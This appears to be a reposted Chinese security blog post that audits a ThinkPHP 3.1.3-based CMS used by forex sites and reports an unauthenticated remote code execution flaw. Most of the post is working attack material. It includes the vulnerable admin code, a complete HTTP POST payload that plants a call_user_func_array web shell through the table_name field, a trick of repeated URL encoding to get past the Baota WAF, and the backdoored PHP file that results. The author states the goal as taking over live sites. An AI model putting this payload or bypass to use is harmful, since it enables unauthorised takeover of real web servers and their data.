实战 | 某外汇常用CMS通用未授权RCE
2022-12-6 12:56:44 Author: HACK学习君(查看原文) 阅读量:20 收藏

某妞子发给我的一个cms,有各种注入,但是网上大部分站点都是用宝塔搭建的,并且开了waf的功能,索性审一个rce直接日下。

程序是基于ThinkPHP3.1.3进行二次开发的,直接根据特征从Github找了个源代码下来审,注入就不说了,直接看RCE:

Admin/Lib/Action/typeAction.class.php

public function add_save(){        $data=pg('data');        M('classify_type')->data($data)->add();         $sql='        CREATE TABLE index_'.$data['table_name'].' (          '.$data['table_name'].'_id int(10) NOT NULL AUTO_INCREMENT,          type_id int(10) NOT NULL,          date int(10) NOT NULL,          title varchar(99) NOT NULL,          keywords varchar(99) NOT NULL,          description varchar(10) NOT NULL,          version_id int(10) NOT NULL,          PRIMARY KEY ('.$data['table_name'].'_id)        ) ENGINE=InnoDB DEFAULT CHARSET=utf8;';        M()->query($sql);         if(!file_exists('Index/Lib/Action/'.$data['table_name'].'Action.class.php'))        {            copy('Index/Lib/Action/messageAction.class.php','Index/Lib/Action/'.$data['table_name'].'Action.class.php');            $content=read_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php');            $content=str_replace('messageAction',$data['table_name'].'Action',$content);            write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);            copy_dir('Index/Tpl/message','Index/Tpl/'.$data['table_name']);        }         echo '操作成功';    }

直接从参数获取data数组,没有任何检验/过滤/认证,后面用了write_file函数,跟进去看看

ThinkPHP/Common/common.php

function write_file($path,$data){    creat_file($path);    $fp=fopen($path,"w+");    if(!fwrite($fp,$data))    {        return false;    }    else    {        fclose($fp);        return true;    }}

很简单的一个函数,根据参数直接写文件,再回头看看刚才的代码:

write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);

文件名是php格式,如果$content可控,那就直接RCE了,$content内容是复制Index/Lib/Action/messageAction.class.php的,然后根据指定参数进行替换,先看下代码:

Index/Lib/Action/messageAction.class.php

<?phpclass messageAction extends Action {    public function index(){        $this->display();    }     public function details(){        $this->display();    }    public function add_save(){        $data = pg('data');        $type_id = $data['type_id'];        $classify_id = pg('classify_id');        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();        foreach($list as $k => $v){            $data[$v['field_name']]=serialize($data[$v['field_name']]);        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();        foreach($list as $k => $v){            if(!empty($_FILES[$v['field_name']]['tmp_name'])){                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));            }        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();        foreach($list as $k => $v)        {            $data[$v['field_name']]=strtotime($data[$v['field_name']]);        }         $id = M($table_name)->data($data)->add();        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();        $this->success('提交成功');    }}

也就是第二行的messageAction会替换成参数指定的,但是文件名同时也会被修改,所以很多Payload在这边是没办法使用的,然后还有一个宝塔WAF要绕过,直接给Payload:

POST /admin.php?m=type&a=add_save HTTP/1.1Host: www.xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: */*Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 205Connection: closePragma: no-cacheCache-Control: no-cache data%5Bdate%5D=1606456937&data%5Btype_name%5D=123&data%5Btable_name%5D=abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class &data%5Bpage_name%5D=index

大部分的函数在流量就被拦截了,但是他忽略了urlencode,只需要多弄几个urlencode就可以绕过流量了。

最后建立的文件长这样:

http://www.xxx.com/Index/Lib/Action/abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action.class.php
<?phpclass abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action extends Action {    public function index(){        $this->display();    }     public function details(){        $this->display();    }    public function add_save(){        $data = pg('data');        $type_id = $data['type_id'];        $classify_id = pg('classify_id');        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();        foreach($list as $k => $v){            $data[$v['field_name']]=serialize($data[$v['field_name']]);        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();        foreach($list as $k => $v){            if(!empty($_FILES[$v['field_name']]['tmp_name'])){                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));            }        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();        foreach($list as $k => $v)        {            $data[$v['field_name']]=strtotime($data[$v['field_name']]);        }         $id = M($table_name)->data($data)->add();        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();        $this->success('提交成功');    }}
作者:hzllaga来源:https://wtfsec.org/posts/%e6%9f%90%e5%a4%96%e6%b1%87%e5%b8%b8%e7%94%a8cms%e9%80%9a%e7%94%a8%e6%9c%aa%e6%8e%88%e6%9d%83rce/如有侵权,请联系删除


推荐阅读

实战 | 记一次渗透拿下某儿童色情网站的经过

实战 | 某某街一处XSS的绕过思路

实战 | 记一次企业钓鱼演练

2022年,从现在开始学安全还不迟!

干货 | 2022年超全的安全知识库

实战 | 实战一次完整的BC网站渗透测试

星球部分精华内容推荐

其他更多精彩内容,欢迎加入我们的星球


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzNzMxMDkxNw==&mid=2247491991&idx=1&sn=5c2cc1d6d424776fbcb604d87338684c&chksm=e8c8273ddfbfae2b0c6bfa39ec0fd9f7a135618dd80d38ae9241946f8cc623a014194e956c1d#rd
如有侵权请联系:admin#unsafe.sh